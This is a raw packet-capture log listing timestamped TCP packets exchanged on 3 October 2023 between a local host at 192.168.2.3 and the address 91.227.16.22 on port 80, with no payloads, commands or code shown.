Oct 3, 2023 09:55:09.959465027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.959554911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959645987 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959686995 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.959743023 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959841967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959876060 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.959980965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960067034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960104942 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.960160017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960233927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960264921 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.960334063 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960406065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960443020 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.960479021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960601091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960643053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.960679054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960771084 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.960803986 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.960921049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.961010933 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.961071968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.961098909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.961189985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.961242914 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.961595058 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.961682081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.961716890 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.961761951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.961858034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.961889982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.961978912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962034941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962073088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.962153912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962316990 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962393045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962405920 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.962466955 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962500095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.962579966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962665081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962696075 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.962769032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962883949 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.962918043 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.963052988 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.963257074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.963295937 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.963342905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.963432074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.963465929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.963640928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.963741064 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.963773012 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.964189053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.964279890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.964313030 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.964359999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.964551926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.964585066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.964622974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.964732885 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.964782000 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.964806080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.964876890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.964910030 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.964977026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.965049982 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.965080976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.965199947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.965274096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.965305090 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.965472937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.965667009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.965699911 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.965747118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.965847015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.965882063 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.965986967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.966144085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.966178894 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.966335058 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.966418028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.966451883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.966564894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.966849089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.966881037 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.967200994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.967278957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.967377901 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.967451096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.967714071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.967750072 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.967791080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.967871904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.967904091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.967966080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.968067884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.968100071 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.968137980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.968286991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.968321085 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.968391895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.968561888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.968596935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.968633890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.968832970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.968863964 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.968902111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969003916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969037056 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.969101906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969192028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969222069 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.969275951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969367027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969397068 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.969415903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969520092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969571114 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.969590902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969681978 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969712973 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.969835043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969923019 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.969954014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.969980001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.970094919 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.970127106 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.970212936 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.970216990 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.970282078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.970315933 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.970388889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.970449924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.970480919 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.970690012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.970782995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.970820904 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.970887899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.971086979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.971123934 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.971189022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.971277952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.971311092 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.971466064 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.971573114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.971621037 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.971771002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.971858978 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.972181082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.972213984 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.972349882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.972424984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.972455978 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.972518921 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.972590923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.972620010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.973217010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.973256111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.973401070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.973432064 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.973535061 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.974061012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.974097013 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.974133968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.974244118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.974277020 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.974407911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.974543095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.975368977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.975413084 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.975450993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.975568056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.975600004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.975637913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.975697041 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.975735903 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.975773096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.975895882 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.976164103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.976198912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.976372957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.976537943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.976573944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.976653099 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.976708889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.976741076 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.976892948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.976939917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.976969004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.977052927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.977319956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.977359056 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.977396965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.977401018 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.977530956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.977564096 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.977647066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.977725983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.977758884 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.977797985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.977888107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.977921009 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.977950096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.978111029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.978142977 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.978224039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.978333950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.978363991 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.978416920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.978494883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.978528976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.978595018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.978682041 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.978794098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.978847980 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.979068041 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.979161978 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.979192972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.979249001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.979343891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.979374886 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.979496002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.979623079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.979654074 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.979690075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.979777098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.979809999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.979857922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.980238914 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.980278015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.980312109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.980443954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.980526924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.980560064 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.981020927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981096983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981131077 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.981159925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981259108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981292963 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.981344938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981442928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981518984 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.981525898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981581926 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.981616974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981652021 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.981800079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981915951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.981946945 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.981992960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.982088089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.982117891 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.982289076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.982562065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.982598066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.982877016 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.982934952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.983067989 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.983098030 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.983304024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.983405113 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.983437061 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.983514071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.983592033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.983624935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.983705044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.983887911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.983925104 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.983927965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.984057903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.984158993 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.984180927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.984220982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.984390020 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.984421015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.984448910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.984550953 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.984581947 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.984710932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.984874010 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.984915018 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.984951973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985045910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985078096 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.985114098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985207081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985239983 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.985322952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985395908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985426903 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.985507011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985579014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985627890 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.985665083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985769987 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985815048 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.985841036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985876083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.985937119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.985970974 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.986027002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986108065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986143112 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.986170053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986267090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986300945 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.986337900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986501932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986536980 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.986567020 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986713886 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986749887 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.986870050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986965895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.986998081 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987102032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987178087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987190008 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987212896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987229109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987278938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987308979 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987354040 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987389088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987418890 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987457037 CEST	80	49816	91.227.16.22	192.168.2.3
